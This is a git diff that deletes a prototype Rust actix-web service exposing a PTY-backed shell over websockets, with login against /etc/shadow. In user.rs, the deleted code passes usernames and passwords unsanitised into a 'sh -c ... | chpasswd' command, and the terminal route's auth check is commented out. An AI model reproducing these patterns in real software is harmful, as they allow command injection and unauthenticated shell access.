-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.52.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.52.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bec47e5bfd1bff0eeaf6d8b485cc1074891a197ab4225d504cb7a1ab88b02bf0"
-
-[[package]]
-name = "write16"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d1890f4022759daae28ed4fe62859b1236caebfc61ede2f63ed4e695f3f6d936"
-
-[[package]]
-name = "writeable"
-version = "0.5.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e9df38ee2d2c3c5948ea468a8406ff0db0b29ae1ffde1bcf20ef305bcc95c51"
-
-[[package]]
-name = "ws2_32-sys"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d59cefebd0c892fa2dd6de581e937301d8552cb44489cdff035c6187cb63fa5e"
-dependencies = [
- "winapi 0.2.8",
- "winapi-build",
-]
-
-[[package]]
-name = "yoke"
-version = "0.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6c5b1314b079b0930c31e3af543d8ee1757b1951ae1e1565ec704403a7240ca5"
-dependencies = [
- "serde",
- "stable_deref_trait",
- "yoke-derive",
- "zerofrom",
-]
-
-[[package]]
-name = "yoke-derive"
-version = "0.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "28cc31741b18cb6f1d5ff12f5b7523e3d6eb0852bbbad19d73905511d9849b95"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.66",
- "synstructure",
-]
-
-[[package]]
-name = "zerocopy"
-version = "0.7.34"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ae87e3fcd617500e5d106f0380cf7b77f3c6092aae37191433159dda23cfb087"
-dependencies = [
- "zerocopy-derive",
-]
-
-[[package]]
-name = "zerocopy-derive"
-version = "0.7.34"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "15e934569e47891f7d9411f1a451d947a60e000ab3bd24fbb970f000387d1b3b"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.66",
-]
-
-[[package]]
-name = "zerofrom"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "91ec111ce797d0e0784a1116d0ddcdbea84322cd79e5d5ad173daeba4f93ab55"
-dependencies = [
- "zerofrom-derive",
-]
-
-[[package]]
-name = "zerofrom-derive"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0ea7b4a3637ea8669cedf0f1fd5c286a17f3de97b8dd5a70a6c167a1730e63a5"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.66",
- "synstructure",
-]
-
-[[package]]
-name = "zerovec"
-version = "0.10.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bb2cc8827d6c0994478a15c53f374f46fbd41bea663d809b14744bc42e6b109c"
-dependencies = [
- "yoke",
- "zerofrom",
- "zerovec-derive",
-]
-
-[[package]]
-name = "zerovec-derive"
-version = "0.10.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "97cf56601ee5052b4417d90c8755c6683473c926039908196cf35d99f893ebe7"
-dependencies = [
- "proc-macro2",
- "quote",
- "syn 2.0.66",
-]
-
-[[package]]
-name = "zstd"
-version = "0.13.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2d789b1514203a1120ad2429eae43a7bd32b90976a7bb8a05f7ec02fa88cc23a"
-dependencies = [
- "zstd-safe",
-]
-
-[[package]]
-name = "zstd-safe"
-version = "7.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1cd99b45c6bc03a018c8b8a86025678c87e55526064e38f9df301989dce7ec0a"
-dependencies = [
- "zstd-sys",
-]
-
-[[package]]
-name = "zstd-sys"
-version = "2.0.10+zstd.1.5.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c253a4914af5bafc8fa8c86ee400827e83cf6ec01195ec1f1ed8441bf00d65aa"
-dependencies = [
- "cc",
- "pkg-config",
-]
diff --git a/documentation/image-rs/Cargo.toml b/documentation/image-rs/Cargo.toml
deleted file mode 100644
index c63e2df..0000000
--- a/documentation/image-rs/Cargo.toml
+++ /dev/null
@@ -1,22 +0,0 @@
-[package]
-name = "image-rs"
-version = "0.1.0"
-edition = "2021"
-
-# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
-
-[dependencies]
-actix = "0.13.5"
-actix-session = { version = "0.9.0", features = ["cookie-session"] }
-actix-web = "4.7.0"
-actix-web-actors = "4.3.0"
-env_logger = "0.11.3"
-futures = { version = "0.3.30", features = ["bilock"] }
-futures-util = "0.3.30"
-log = "0.4.21"
-mio = { version = "1.0.0", features = ["os-ext", "os-poll"] }
-serde = { version = "1.0.203", features = ["derive"] }
-tokio = { version = "1.38.0", features = ["signal"] }
-tokio-pty-process = "0.4.0"
-tokio-util = { version = "0.7.11", features = ["codec"] }
-
diff --git a/documentation/image-rs/Dockerfile b/documentation/image-rs/Dockerfile
deleted file mode 100644
index f8cf8e9..0000000
--- a/documentation/image-rs/Dockerfile
+++ /dev/null
@@ -1,13 +0,0 @@
-FROM rust:alpine3.20
-RUN apk add g++ make py3-pip openssl zsh mandoc man-pages git
-
-WORKDIR /root/server
-
-COPY . .
-
-RUN cargo install --path .
-
-EXPOSE 3000/tcp
-
-ENTRYPOINT ["image-rs"]
-
diff --git a/documentation/image-rs/projects.txt b/documentation/image-rs/projects.txt
deleted file mode 100644
index d805a0d..0000000
--- a/documentation/image-rs/projects.txt
+++ /dev/null
@@ -1,25 +0,0 @@
-portable-pty:
- - 1 month
- - 14.7k stars
- - can't set gid and uid / needs fork?
- - https://github.com/wez/wezterm
-
-pty-process:
- - 10 months
- - 18 stars
- - https://github.com/doy/pty-process
-
-ptyprocess:
- - 15 months
- - 11 stars
- - https://github.com/zhiburt/ptyprocess
-
-tokio_pty_process:
- - 0.5 months
- - 43 stars
- - https://github.com/pkgw/stund/
-
-webterm:
- - good example
- - https://github.com/fubarnetes/webterm
-
diff --git a/documentation/image-rs/src/handlers/auth.rs b/documentation/image-rs/src/handlers/auth.rs
deleted file mode 100644
index 88e004d..0000000
--- a/documentation/image-rs/src/handlers/auth.rs
+++ /dev/null
@@ -1,66 +0,0 @@
-use actix_session::Session;
-use actix_web::{web, Error, HttpResponse, HttpResponseBuilder};
-
-use serde::{Deserialize, Serialize};
-
-use crate::services::user;
-
-#[derive(Debug, Serialize, Deserialize)]
-pub struct RegisterRequest {
- username: String,
- password: String,
-}
-
-#[derive(Debug, Serialize, Deserialize)]
-pub struct LoginRequest {
- username: String,
- password: String,
-}
-
-#[derive(Debug, Serialize, Deserialize)]
-pub struct SuccessResponse {
- success: String,
-}
-
-#[derive(Debug, Serialize, Deserialize)]
-pub struct ErrorResponse {
- error: String,
-}
-
-pub async fn post_register(
- session: Session,
- register_request: web::Json,
-) -> Result {
- match user::create(®ister_request.username, ®ister_request.password) {
- Ok(result) => {
- let _ = session.insert("username", register_request.username.clone());
- Ok(
- HttpResponseBuilder::new(result.status).json(SuccessResponse {
- success: result.message,
- }),
- )
- }
- Err(error) => Ok(HttpResponseBuilder::new(error.status).json(ErrorResponse {
- error: error.message,
- })),
- }
-}
-
-pub async fn post_login(
- session: Session,
- login_request: web::Json,
-) -> Result {
- match user::login(&login_request.username, &login_request.password) {
- Ok(result) => {
- let _ = session.insert("username", login_request.username.clone());
- Ok(
- HttpResponseBuilder::new(result.status).json(SuccessResponse {
- success: result.message,
- }),
- )
- }
- Err(error) => Ok(HttpResponseBuilder::new(error.status).json(ErrorResponse {
- error: error.message,
- })),
- }
-}
diff --git a/documentation/image-rs/src/handlers/mod.rs b/documentation/image-rs/src/handlers/mod.rs
deleted file mode 100644
index ec99b9e..0000000
--- a/documentation/image-rs/src/handlers/mod.rs
+++ /dev/null
@@ -1,2 +0,0 @@
-pub mod auth;
-pub mod term;
diff --git a/documentation/image-rs/src/handlers/term.rs b/documentation/image-rs/src/handlers/term.rs
deleted file mode 100644
index eb3cedd..0000000
--- a/documentation/image-rs/src/handlers/term.rs
+++ /dev/null
@@ -1,53 +0,0 @@
-use serde::{Deserialize, Serialize};
-use std::{env, os::unix::process::CommandExt, process::Command};
-
-use actix_session::Session;
-use actix_web::{
- web::{self},
- Error, HttpRequest, HttpResponse, HttpResponseBuilder,
-};
-use actix_web_actors::ws;
-
-use crate::services::{term::Websocket, user::get_user_data};
-
-#[derive(Debug, Serialize, Deserialize)]
-pub struct ErrorResponse {
- error: String,
-}
-
-pub async fn get_term_ws(
- request: HttpRequest,
- stream: web::Payload,
-) -> Result {
- let command = Command::new("/etc/profiles/per-user/gandalf/bin/zsh");
- ws::start(Websocket::new(command), &request, stream)
-}
-
-// pub async fn get_term_ws(
-// request: HttpRequest,
-// session: Session,
-// stream: web::Payload,
-// ) -> Result {
-// match session.get::("username") {
-// Ok(Some(username)) if !username.is_empty() => match get_user_data(&username) {
-// Ok(user_data) => match env::var("PATH") {
-// Ok(path) => {
-// let mut command = Command::new(user_data.shell);
-// command.env_clear();
-// command.env("TERM", "xterm");
-// command.env("PATH", path);
-// command.gid(user_data.gid);
-// command.uid(user_data.uid);
-// ws::start(Websocket::new(command), &request, stream)
-// }
-// Err(_) => Ok(HttpResponse::InternalServerError().json(ErrorResponse {
-// error: "InternalServerError".to_owned(),
-// })),
-// },
-// Err(error) => Ok(HttpResponseBuilder::new(error.status).json(ErrorResponse {
-// error: error.message,
-// })),
-// },
-// _ => Ok(HttpResponse::Unauthorized().into()),
-// }
-// }
diff --git a/documentation/image-rs/src/lib.rs b/documentation/image-rs/src/lib.rs
deleted file mode 100644
index 3e2452a..0000000
--- a/documentation/image-rs/src/lib.rs
+++ /dev/null
@@ -1,3 +0,0 @@
-pub mod handlers;
-pub mod middlewares;
-pub mod services;
diff --git a/documentation/image-rs/src/main.rs b/documentation/image-rs/src/main.rs
deleted file mode 100644
index 9f110fe..0000000
--- a/documentation/image-rs/src/main.rs
+++ /dev/null
@@ -1,53 +0,0 @@
-use std::env;
-
-use actix_session::{config::PersistentSession, storage::CookieSessionStore, SessionMiddleware};
-use actix_web::{
- cookie::{self, Key},
- middleware,
- web::{self},
- App, HttpServer,
-};
-use image_rs::handlers;
-use image_rs::middlewares;
-
-#[actix_web::main]
-async fn main() -> std::io::Result<()> {
- env_logger::init_from_env(env_logger::Env::new().default_filter_or("info"));
-
- log::info!("starting HTTP server at http://0.0.0.0:3000");
-
- let session_key = Key::generate();
-
- HttpServer::new(move || {
- App::new()
- .wrap(middleware::Logger::default())
- .wrap(
- SessionMiddleware::builder(CookieSessionStore::default(), session_key.clone())
- .cookie_secure(false)
- .session_lifecycle(
- PersistentSession::default()
- .session_ttl(cookie::time::Duration::minutes(15)),
- )
- .build(),
- )
- .service(
- web::scope("/api/{api_key}")
- .wrap(middlewares::api::Api {
- api_key: env::var("API_KEY").unwrap(),
- })
- .route(
- "/auth/register",
- web::post().to(handlers::auth::post_register),
- )
- .route("/auth/login", web::post().to(handlers::auth::post_login))
- .service(
- web::scope("/term")
- // .wrap(middlewares::auth::Auth)
- .route("/", web::get().to(handlers::term::get_term_ws)),
- ),
- )
- })
- .bind(("0.0.0.0", 3000))?
- .run()
- .await
-}
diff --git a/documentation/image-rs/src/middlewares/api.rs b/documentation/image-rs/src/middlewares/api.rs
deleted file mode 100644
index c3df63f..0000000
--- a/documentation/image-rs/src/middlewares/api.rs
+++ /dev/null
@@ -1,66 +0,0 @@
-use actix_web::{
- body::EitherBody,
- dev::{self, Service, ServiceRequest, ServiceResponse, Transform},
- Error, HttpResponse,
-};
-use futures_util::future::LocalBoxFuture;
-use std::future::{ready, Ready};
-
-pub struct Api {
- pub api_key: String,
-}
-
-impl Transform for Api
-where
- S: Service, Error = Error>,
- S::Future: 'static,
- B: 'static,
-{
- type Response = ServiceResponse>;
- type Error = Error;
- type InitError = ();
- type Transform = ApiMiddleware;
- type Future = Ready>;
-
- fn new_transform(&self, service: S) -> Self::Future {
- ready(Ok(ApiMiddleware {
- service,
- api_key: self.api_key.clone(),
- }))
- }
-}
-
-pub struct ApiMiddleware {
- service: S,
- pub api_key: String,
-}
-
-impl Service for ApiMiddleware
-where
- S: Service, Error = Error>,
- S::Future: 'static,
- B: 'static,
-{
- type Response = ServiceResponse>;
- type Error = Error;
- type Future = LocalBoxFuture<'static, Result>;
-
- dev::forward_ready!(service);
-
- fn call(&self, request: ServiceRequest) -> Self::Future {
- let path = request.match_info().get("api_key");
- if let Some(api_key) = path {
- if self.api_key == api_key {
- let res = self.service.call(request);
-
- return Box::pin(async move { res.await.map(ServiceResponse::map_into_left_body) });
- }
- }
- let (request, _pl) = request.into_parts();
- let response = HttpResponse::Unauthorized()
- .body("Invalid API key")
- .map_into_right_body();
-
- Box::pin(async { Ok(ServiceResponse::new(request, response)) })
- }
-}
diff --git a/documentation/image-rs/src/middlewares/auth.rs b/documentation/image-rs/src/middlewares/auth.rs
deleted file mode 100644
index 9690e4f..0000000
--- a/documentation/image-rs/src/middlewares/auth.rs
+++ /dev/null
@@ -1,62 +0,0 @@
-use actix_session::SessionExt;
-use actix_web::{
- body::EitherBody,
- dev::{self, Service, ServiceRequest, ServiceResponse, Transform},
- Error, HttpResponse,
-};
-use futures_util::future::LocalBoxFuture;
-use std::future::{ready, Ready};
-
-pub struct Auth;
-
-impl Transform for Auth
-where
- S: Service, Error = Error>,
- S::Future: 'static,
- B: 'static,
-{
- type Response = ServiceResponse>;
- type Error = Error;
- type InitError = ();
- type Transform = AuthMiddleware;
- type Future = Ready>;
-
- fn new_transform(&self, service: S) -> Self::Future {
- ready(Ok(AuthMiddleware { service }))
- }
-}
-
-pub struct AuthMiddleware {
- service: S,
-}
-
-impl Service for AuthMiddleware
-where
- S: Service, Error = Error>,
- S::Future: 'static,
- B: 'static,
-{
- type Response = ServiceResponse>;
- type Error = Error;
- type Future = LocalBoxFuture<'static, Result>;
-
- dev::forward_ready!(service);
-
- fn call(&self, request: ServiceRequest) -> Self::Future {
- match request.get_session().get::("username") {
- Ok(Some(username)) if !username.is_empty() => {
- let res = self.service.call(request);
- Box::pin(async move { res.await.map(ServiceResponse::map_into_left_body) })
- }
- _ => {
- let (request, _pl) = request.into_parts();
-
- let response = HttpResponse::Unauthorized()
- .body("Unauthorized")
- .map_into_right_body();
-
- Box::pin(async { Ok(ServiceResponse::new(request, response)) })
- }
- }
- }
-}
diff --git a/documentation/image-rs/src/middlewares/mod.rs b/documentation/image-rs/src/middlewares/mod.rs
deleted file mode 100644
index 1f85274..0000000
--- a/documentation/image-rs/src/middlewares/mod.rs
+++ /dev/null
@@ -1,2 +0,0 @@
-pub mod api;
-pub mod auth;
diff --git a/documentation/image-rs/src/services/mod.rs b/documentation/image-rs/src/services/mod.rs
deleted file mode 100644
index 406bff0..0000000
--- a/documentation/image-rs/src/services/mod.rs
+++ /dev/null
@@ -1,4 +0,0 @@
-pub mod pty;
-pub mod split;
-pub mod term;
-pub mod user;
diff --git a/documentation/image-rs/src/services/term.rs b/documentation/image-rs/src/services/term.rs
deleted file mode 100644
index 4c6ae88..0000000
--- a/documentation/image-rs/src/services/term.rs
+++ /dev/null
@@ -1,361 +0,0 @@
-use actix::prelude::*;
-use actix::{Actor, Addr, Context, Handler, StreamHandler};
-use actix_web::web::{Bytes, BytesMut};
-use actix_web_actors::ws;
-// use futures::executor::block_on;
-// use std::future::Future;
-use std::io::{self, Read, Write};
-use std::process::Command;
-use std::task::Poll;
-use std::time::{Duration, Instant};
-use tokio::io::AsyncRead;
-use tokio_pty_process::{
- AsyncPtyMaster, AsyncPtyMasterReadHalf, AsyncPtyMasterWriteHalf, Child, CommandExt,
-};
-use tokio_util::codec::{BytesCodec, Decoder, FramedRead};
-
-const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(5);
-const CLIENT_TIMEOUT: Duration = Duration::from_secs(10);
-
-struct AsyncPtyMasterReadHalfExt(AsyncPtyMasterReadHalf);
-
-impl AsyncRead for AsyncPtyMasterReadHalfExt {
- fn poll_read(
- mut self: std::pin::Pin<&mut Self>,
- _cx: &mut std::task::Context<'_>,
- buf: &mut tokio::io::ReadBuf<'_>,
- ) -> std::task::Poll> {
- let dst = buf.initialize_unfilled();
- let r = self.0.read(dst);
- match r {
- Ok(n) => {
- buf.advance(n);
- Poll::Ready(Ok(()))
- }
- Err(err) if err.kind() == io::ErrorKind::WouldBlock => Poll::Pending,
- Err(err) => Poll::Ready(Err(err)),
- }
- }
-}
-
-// struct AsyncPtyMasterWriteHalfExt(AsyncPtyMasterWriteHalf);
-//
-// impl AsyncWrite for AsyncPtyMasterWriteHalfExt {
-// fn poll_write(
-// mut self: std::pin::Pin<&mut Self>,
-// cx: &mut std::task::Context<'_>,
-// buf: &[u8],
-// ) -> Poll> {
-// match self.0.write(buf) {
-// Ok(n) => Poll::Ready(Ok(n)),
-// Err(err) if err.kind() == io::ErrorKind::WouldBlock => Poll::Pending,
-// Err(err) => Poll::Ready(Err(err)),
-// }
-// }
-//
-// fn poll_flush(
-// mut self: std::pin::Pin<&mut Self>,
-// cx: &mut std::task::Context<'_>,
-// ) -> Poll> {
-// match self.0.flush() {
-// Ok(n) => Poll::Ready(Ok(())),
-// Err(err) if err.kind() == io::ErrorKind::WouldBlock => Poll::Pending,
-// Err(err) => Poll::Ready(Err(err)),
-// }
-// }
-//
-// fn poll_shutdown(
-// mut self: std::pin::Pin<&mut Self>,
-// cx: &mut std::task::Context<'_>,
-// ) -> Poll> {
-// Poll::Ready(Ok(()))
-// }
-// }
-
-// struct ChildExt(Child);
-//
-// impl Future for ChildExt {
-// type Output = Result<(), io::Error>;
-//
-// fn poll(
-// mut self: std::pin::Pin<&mut Self>,
-// _cx: &mut std::task::Context<'_>,
-// ) -> Poll {
-// let poll = self.0.poll_exit();
-// match poll {
-// Ok(result) => {
-// if result.is_ready() {
-// Poll::Ready(Ok(()))
-// } else {
-// Poll::Pending
-// }
-// }
-// Err(err) => Poll::Ready(Err(err)),
-// }
-// }
-// }
-
-#[derive(Debug, Eq, PartialEq, Clone)]
-pub struct IO(BytesMut);
-
-impl Message for IO {
- type Result = ();
-}
-
-impl AsRef<[u8]> for IO {
- fn as_ref(&self) -> &[u8] {
- self.0.as_ref()
- }
-}
-
-impl Into for IO {
- fn into(self) -> actix_web::web::Bytes {
- self.0.into()
- }
-}
-
-impl From for IO {
- fn from(b: actix_web::web::Bytes) -> Self {
- Self(b.as_ref().into())
- }
-}
-
-// impl From for IO {
-// fn from(s: String) -> Self {
-// Self(s.into())
-// }
-// }
-
-impl From<&str> for IO {
- fn from(s: &str) -> Self {
- Self(s.into())
- }
-}
-
-pub struct ChildDied();
-
-impl Message for ChildDied {
- type Result = ();
-}
-
-pub struct Websocket {
- command: Option,
- terminal: Option>,
- hb: Instant,
-}
-
-impl Websocket {
- pub fn new(command: Command) -> Self {
- Self {
- hb: Instant::now(),
- terminal: None,
- command: Some(command),
- }
- }
-
- fn hb(&self, ctx: &mut ::Context) {
- ctx.run_interval(HEARTBEAT_INTERVAL, |act, ctx| {
- if Instant::now().duration_since(act.hb) > CLIENT_TIMEOUT {
- log::warn!("Client heartbeat timeout, disconnecting.");
- ctx.stop();
- return;
- }
-
- ctx.ping(b"");
- });
- }
-}
-
-impl StreamHandler> for Websocket {
- fn handle(&mut self, msg: Result, ctx: &mut Self::Context) {
- let cons: &mut Addr = match self.terminal {
- Some(ref mut c) => c,
- None => {
- log::error!("Terminalole died, closing websocket.");
- ctx.stop();
- return;
- }
- };
-
- match msg {
- Ok(msg) => match msg {
- ws::Message::Ping(msg) => {
- self.hb = Instant::now();
- ctx.pong(&msg);
- }
- ws::Message::Pong(_) => self.hb = Instant::now(),
- ws::Message::Text(t) => {
- cons.do_send(IO::from(t.as_ref()));
- }
- ws::Message::Binary(b) => cons.do_send(IO::from(b)),
- ws::Message::Close(_) => ctx.stop(),
- ws::Message::Nop => {}
- ws::Message::Continuation(_cont) => {
- log::warn!("No support for continuation frames");
- }
- },
- Err(_) => todo!(),
- };
- }
-}
-
-impl Actor for Websocket {
- type Context = ws::WebsocketContext;
-
- fn started(&mut self, ctx: &mut Self::Context) {
- // Start heartbeat
- self.hb(ctx);
-
- let command = self
- .command
- .take()
- .expect("command was None at start of WebSocket.");
-
- // Start PTY
- self.terminal = Some(Terminal::new(ctx.address(), command).start());
-
- log::trace!("Started WebSocket");
- }
-
- fn stopping(&mut self, _ctx: &mut Self::Context) -> Running {
- log::trace!("Stopping WebSocket");
-
- Running::Stop
- }
-
- fn stopped(&mut self, _ctx: &mut Self::Context) {
- log::trace!("Stopped WebSocket");
- }
-}
-
-impl Handler for Websocket {
- type Result = ();
-
- fn handle(&mut self, msg: IO, ctx: &mut ::Context) {
- ctx.binary(msg);
- }
-}
-
-impl Handler for Websocket {
- type Result = ();
-
- fn handle(&mut self, _msg: ChildDied, ctx: &mut ::Context) {
- log::trace!("Websocket <- ChildDied");
- ctx.close(None);
- ctx.stop();
- }
-}
-
-pub struct Terminal {
- ws: Addr,
- command: Command,
- stdin: Option,
- child: Option,
-}
-
-impl Terminal {
- pub fn new(ws: Addr, command: Command) -> Self {
- Self {
- ws,
- command,
- stdin: None,
- child: None,
- }
- }
-}
-
-impl StreamHandler::Item, ::Error>>
- for Terminal
-{
- fn handle(
- &mut self,
- msg: Result<::Item, ::Error>,
- _ctx: &mut Self::Context,
- ) {
- if let Ok(bytes) = msg {
- self.ws.do_send(IO(bytes));
- }
- }
-}
-
-impl Actor for Terminal {
- type Context = Context;
-
- fn started(&mut self, ctx: &mut Self::Context) {
- let pty = match AsyncPtyMaster::open() {
- Err(e) => {
- log::error!("Unable to open PTY: {:?}", e);
- ctx.stop();
- return;
- }
- Ok(pty) => pty,
- };
-
- let child = match self.command.spawn_pty_async(&pty) {
- Err(e) => {
- log::error!("Unable to spawn child: {:?}", e);
- ctx.stop();
- return;
- }
- Ok(child) => child,
- };
-
- log::info!("Spawned new child process with PID {}", child.id());
-
- let (pty_read, pty_write) = pty.split();
-
- self.stdin = Some(pty_write);
- self.child = Some(child);
-
- let stdout = AsyncPtyMasterReadHalfExt(pty_read);
-
- Self::add_stream(FramedRead::new(stdout, BytesCodec::new()), ctx);
- }
-
- fn stopping(&mut self, _ctx: &mut Self::Context) -> Running {
- log::info!("Stopping Terminal");
-
- let child = self.child.take();
- if child.is_none() {
- return Running::Stop;
- }
-
- let mut child = child.unwrap();
- match child.kill() {
- Ok(()) => log::info!("Child died"),
- // Ok(()) => match block_on(ChildExt(child)) {
- // Ok(_) => log::info!("Child died"),
- // Err(e) => log::error!("Child wouldn't die: {}", e),
- // },
- Err(e) => log::error!("Could not kill child with PID {}: {}", child.id(), e),
- };
- self.ws.do_send(ChildDied());
- Running::Stop
- }
-
- fn stopped(&mut self, _ctx: &mut Self::Context) {
- log::info!("Stopped Terminal");
- }
-}
-
-impl Handler for Terminal {
- type Result = ();
-
- fn handle(&mut self, msg: IO, ctx: &mut ::Context) {
- let pty = match self.stdin {
- Some(ref mut p) => p,
- None => {
- log::error!("Write half of PTY died, stopping Terminal.");
- ctx.stop();
- return;
- }
- };
-
- if let Err(e) = pty.write(msg.as_ref()) {
- log::error!("Could not write to PTY: {}", e);
- ctx.stop();
- }
-
- log::trace!("Websocket -> Terminal : {:?}", msg);
- }
-}
diff --git a/documentation/image-rs/src/services/user.rs b/documentation/image-rs/src/services/user.rs
deleted file mode 100644
index bf55f73..0000000
--- a/documentation/image-rs/src/services/user.rs
+++ /dev/null
@@ -1,206 +0,0 @@
-use actix_web::http::StatusCode;
-use std::process::Command;
-use std::{fs, str};
-
-struct UserShadowData {
- hash: String,
- hash_type: String,
- salt: String,
-}
-
-pub struct UserPasswdData {
- pub username: String,
- pub password: String,
- pub uid: u32,
- pub gid: u32,
- pub gecos: String,
- pub home: String,
- pub shell: String,
-}
-
-pub struct UserServiceResult {
- pub message: String,
- pub status: StatusCode,
-}
-
-pub struct UserServiceError {
- pub message: String,
- pub status: StatusCode,
-}
-
-fn ok() -> UserServiceResult {
- UserServiceResult {
- message: "Ok".to_owned(),
- status: StatusCode::OK,
- }
-}
-
-fn created() -> UserServiceResult {
- UserServiceResult {
- message: "Created".to_owned(),
- status: StatusCode::CREATED,
- }
-}
-
-fn unauthorized() -> UserServiceError {
- UserServiceError {
- message: "Unauthorized".to_owned(),
- status: StatusCode::UNAUTHORIZED,
- }
-}
-
-fn forbidden() -> UserServiceError {
- UserServiceError {
- message: "Forbidden".to_owned(),
- status: StatusCode::FORBIDDEN,
- }
-}
-
-fn not_found() -> UserServiceError {
- UserServiceError {
- message: "Not found".to_owned(),
- status: StatusCode::NOT_FOUND,
- }
-}
-
-fn internal_error() -> UserServiceError {
- UserServiceError {
- message: "Internal server error".to_owned(),
- status: StatusCode::INTERNAL_SERVER_ERROR,
- }
-}
-
-fn find_shadow_entry(username: &str) -> Result {
- for line in fs::read_to_string("/etc/shadow").unwrap().lines() {
- if line.starts_with(username) {
- return Ok(line.to_owned());
- }
- }
-
- return Err(not_found());
-}
-
-fn find_passwd_entry(username: &str) -> Result {
- for line in fs::read_to_string("/etc/passwd").unwrap().lines() {
- if line.starts_with(username) {
- return Ok(line.to_owned());
- }
- }
-
- return Err(not_found());
-}
-
-fn parse_shadow(shadow_entry: &str) -> Result {
- let split: Vec<&str> = shadow_entry.split(":").collect();
- match split[..] {
- [_, password_hash, ..] => {
- let split: Vec<&str> = password_hash.split("$").collect();
- match split[..] {
- [_, "y", ..] => {
- log::info!("Illegal algorithm: y");
- Err(forbidden())
- }
- [_, hash_type, salt, ..] => Ok(UserShadowData {
- hash: password_hash.to_owned(),
- hash_type: hash_type.to_owned(),
- salt: salt.to_owned(),
- }),
- [..] => {
- log::info!("Invalid hash entry");
- Err(forbidden())
- }
- }
- }
- [..] => Err(forbidden()),
- }
-}
-
-fn parse_passwd(passwd_entry: &str) -> Result {
- let split: Vec<&str> = passwd_entry.split(":").collect();
- match split[..] {
- [username, password, uid, gid, gecos, home, shell, ..] => {
- let uid = uid.parse::().map_err(|_| forbidden())?;
- let gid = gid.parse::().map_err(|_| forbidden())?;
- Ok(UserPasswdData {
- username: username.to_owned(),
- password: password.to_owned(),
- uid,
- gid,
- gecos: gecos.to_owned(),
- home: home.to_owned(),
- shell: shell.to_owned(),
- })
- }
- [..] => Err(forbidden()),
- }
-}
-
-fn validate_user_password(shadow: UserShadowData, password: &str) -> Result<(), UserServiceError> {
- let result = Command::new("openssl")
- .arg("passwd")
- .arg(format!("-{}", shadow.hash_type))
- .arg("-salt")
- .arg(shadow.salt)
- .arg(password)
- .output()
- .map_err(|_| internal_error())?;
-
- if !result.status.success() {
- return Err(internal_error());
- }
-
- let hash = str::from_utf8(result.stdout.as_slice()).map_err(|_| internal_error())?;
-
- if hash.trim() == shadow.hash {
- Ok(())
- } else {
- Err(unauthorized())
- }
-}
-
-fn create_user(username: &str, password: &str) -> Result<(), UserServiceError> {
- let status = Command::new("adduser")
- .arg("-D")
- .arg(username)
- .arg("-s")
- .arg("/bin/zsh")
- .status()
- .map_err(|_| internal_error())?;
-
- if !status.success() {
- return Err(internal_error());
- }
-
- let status = Command::new("sh")
- .arg("-c")
- .arg(format!("echo {}:{} | chpasswd", username, password))
- .status()
- .map_err(|_| internal_error())?;
-
- if status.success() {
- Ok(())
- } else {
- Err(internal_error())
- }
-}
-
-pub fn get_user_data(username: &str) -> Result {
- let passwd_entry = find_passwd_entry(username)?;
- parse_passwd(&passwd_entry)
-}
-
-pub fn create(username: &str, password: &str) -> Result {
- match find_shadow_entry(username) {
- Ok(shadow_entry) => {
- let shadow = parse_shadow(&shadow_entry)?;
- validate_user_password(shadow, password).and_then(|_| Ok(ok()))
- }
- Err(_) => create_user(username, password).and_then(|_| Ok(created())),
- }
-}
-
-pub fn login(username: &str, password: &str) -> Result {
- let shadow_entry = find_shadow_entry(username)?;
- let shadow = parse_shadow(&shadow_entry)?;
- validate_user_password(shadow, password).and_then(|_| Ok(ok()))
-}
diff --git a/documentation/infra/api.txt b/documentation/infra/api.txt
deleted file mode 100644
index 1720986..0000000
--- a/documentation/infra/api.txt
+++ /dev/null
@@ -1,36 +0,0 @@
-home
-====
-Signup Signin
-Try it out Browse
-
-server
-======
-GET /api/user/sessions
- => [ string ]
-POST /api/repl { username: "string", password: "string" }
- => { replUuid: uuid }
-POST /api/repl/name/:name
- => { replUuid: uuid }
-WS /api/repl/:replUuid
-POST /api/repl/:replUuid/size
-
-image
-=====
--- all endpoints secured behind api-token --
-POST /api/auth/register => sessionId
-POST /api/auth/login => sessionId
-POST /api/term { executable: "string" }
- - spawn pty with executable under uid
- - bind pid to sessionId
-WS /api/term
-POST /api/term/size
-
-server-v2
-=========
-POST /api/auth/signup
-POST /api/auth/signin
-
-GET /api/env
-POST /api/env/create { type: "string" }
-PATCH /api/env/:id/visibility { type: "public" | "private" }
-
diff --git a/documentation/tex/Makefile b/documentation/tex/Makefile
new file mode 100644
index 0000000..2315093
--- /dev/null
+++ b/documentation/tex/Makefile
@@ -0,0 +1,24 @@
